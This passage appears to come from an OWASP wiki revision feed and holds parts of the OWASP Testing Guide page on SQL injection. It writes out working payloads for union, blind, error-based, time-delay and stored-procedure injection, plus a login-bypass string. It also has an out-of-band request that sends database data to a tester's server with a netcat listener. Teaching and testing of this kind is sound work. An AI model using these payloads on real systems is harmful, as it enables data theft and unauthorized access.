MySql:  ‘test’ + ‘ing’&lt;br /&gt;
&lt;br /&gt;
SQL Server: ‘test’ ‘ing’&lt;br /&gt;
 &lt;br /&gt;
Oracle: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
PostgreSQL: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
===Exploitation Techniques ===&lt;br /&gt;
 &lt;br /&gt;
==== Union Exploitation Technique ====&lt;br /&gt;
  &lt;br /&gt;
The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT Name, Phone, Address FROM Users WHERE Id=$id&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will set the following $id value:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will have the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword '''ALL''' is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected two other values. These two values are necessary because the two queries must have an equal number of parameters/columns in order to avoid a syntax error.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 ORDER BY 10--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Unknown column '10' in 'order clause'&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query fails, the tester will probably see a message like:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;All cells in a column must have the same datatype&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success, the first column can be an integer. Then the tester can move further and so on:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Boolean Exploitation Technique ====&lt;br /&gt;
 &lt;br /&gt;
The Boolean exploitation technique is very useful when the tester finds a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect). &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?id=1'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='$Id' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''SUBSTRING (text, start, length)''': returns a substring starting from the position &amp;amp;quot;start&amp;amp;quot; of text and of length&lt;br /&gt;
&amp;amp;quot;length&amp;amp;quot;. If &amp;amp;quot;start&amp;amp;quot; is greater than the length of text, the function returns a null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''LENGTH (text)''': it gives back the number of characters in the input text.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
That creates the following query (from now on, we will call it &amp;amp;quot;inferential query&amp;amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND '1' = '2 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Which will create the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order&lt;br /&gt;
to decide the result of the test.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will insert the following value for the field ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Error based Exploitation technique ====&lt;br /&gt;
  &lt;br /&gt;
An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. Oracle 10g):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;ORA-292257: host SCOTT unknown&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Out of band Exploitation technique ====&lt;br /&gt;
  &lt;br /&gt;
This technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL)--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET request containing the return from the query “SELECT user FROM DUAL”.  The tester can set up a webserver (e.g. Apache) or use the Netcat tool:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;/home/tester/nc –nLp 80&lt;br /&gt;
 &lt;br /&gt;
GET /SCOTT HTTP/1.1&lt;br /&gt;
Host: testerserver.com&lt;br /&gt;
Connection: close&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Time delay Exploitation technique ====&lt;br /&gt;
  &lt;br /&gt;
The time delay exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. MySql 5.x):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example the tester if checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
==== Stored Procedure Injection ====&lt;br /&gt;
  &lt;br /&gt;
When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create procedure user_login @username varchar(20), @passwd varchar(20) &lt;br /&gt;
As&lt;br /&gt;
Declare @sqlstring varchar(250)&lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
Select 1 from users&lt;br /&gt;
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd&lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
&lt;br /&gt;
User input:&lt;br /&gt;
anyusername or 1=1'&lt;br /&gt;
anypassword&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This procedure does not sanitize the input, therefore allowing the return value to show an existing record with theseparameters.&amp;lt;br&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create&lt;br /&gt;
procedure get_report @columnamelist varchar(7900)&lt;br /&gt;
As&lt;br /&gt;
Declare @sqlstring varchar(8000)&lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
Select ‘ + @columnamelist + ‘ from ReportTable‘&lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
User input:&lt;br /&gt;
&lt;br /&gt;
1 from users; update users set password = 'password'; select *&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This will result in the report running and all users’ passwords being updated.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Automated Exploitation ====&lt;br /&gt;
 &lt;br /&gt;
Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Automated_Audit_using_SQLMap&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* SQL Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt&lt;br /&gt;
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools]&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]&lt;br /&gt;
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/productservice/pangolin/ Pangolin]&lt;br /&gt;
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper]&amp;lt;br&amp;gt;&lt;br /&gt;
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Top 10 2013-A1-Injection]]&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
Technology specific Testing Guide pages have been created for the following DBMSs:&lt;br /&gt;
* [[Testing for Oracle| Oracle]]&lt;br /&gt;
* [[Testing for MySQL| MySQL]]&lt;br /&gt;
* [[Testing for SQL Server  | SQL Server]]&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Victor Chapela: &amp;quot;Advanced SQL Injection&amp;quot; - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt&lt;br /&gt;
* Chris Anley: &amp;quot;Advanced SQL Injection In SQL Server Applications&amp;quot; - https://sparrow.ece.cmu.edu/group/731-s11/readings/anley-sql-inj.pdf&lt;br /&gt;
* Chris Anley: &amp;quot;More Advanced SQL Injection&amp;quot; - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.databasesecurity.com/webapps/sqlinference.pdf&lt;br /&gt;
* Imperva: &amp;quot;Blinded SQL Injection&amp;quot; - https://www.imperva.com/lg/lgw.asp?pid=369&lt;br /&gt;
* Ferruh Mavituna: &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;SQL Injection&amp;quot; - https://docs.google.com/file/d/0B5CQOTY4YRQCSWRHNkNaaFMyQTA/edit&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;Blind SQL Injection&amp;quot; - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf&lt;br /&gt;
&lt;br /&gt;
'''Documentation on SQL injection vulnerabilities in products'''&lt;br /&gt;
&lt;br /&gt;
* [https://www.vanstechelman.eu/content/anatomy-of-the-sql-injection-in-drupals-database-comment-filtering-system-sa-core-2015-003 Anatomy of the SQL injection in Drupal's database comment filtering system SA-CORE-2015-003]&lt;/div&gt;</summary>
		<author><name>Thompsnm</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=210710</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=210710"/>
				<updated>2016-03-09T03:05:19Z</updated>
		
		<summary type="html">&lt;p&gt;Thompsnm: /* Out of band Exploitation technique */ - Fix typo&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
                &lt;br /&gt;
== Summary == &lt;br /&gt;
An [[SQL injection]] attack consists of insertion or &amp;amp;quot;injection&amp;amp;quot; of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;select title, text from news where id=$id&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;select title, text from news where id=10 or 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SQL Injection attacks can be divided into the following three classes:&lt;br /&gt;
&lt;br /&gt;
* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.&lt;br /&gt;
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).&lt;br /&gt;
* Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query. &lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):&lt;br /&gt;
 &lt;br /&gt;
* Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.&lt;br /&gt;
* Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.&lt;br /&gt;
* Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.&lt;br /&gt;
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).&lt;br /&gt;
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It is useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.&lt;br /&gt;
&lt;br /&gt;
==How to Test== &lt;br /&gt;
&lt;br /&gt;
===Detection Techniques===&lt;br /&gt;
The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:&lt;br /&gt;
&lt;br /&gt;
* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).&lt;br /&gt;
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.&lt;br /&gt;
* E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a  database.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the &lt;br /&gt;
character string ''.&lt;br /&gt;
/target/target.asp, line 113&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the&lt;br /&gt;
varchar value 'test' to a column of data type int.&lt;br /&gt;
/target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
===Standard SQL Injection Testing===&lt;br /&gt;
&lt;br /&gt;
====Example 1 (classical SQL Injection):====&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='$username' AND Password='$password'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The query will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;amp;password=1'%20or%20'1'%20=%20'1 &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.&amp;lt;br&amp;gt; ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.'' Another example of query is the following:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
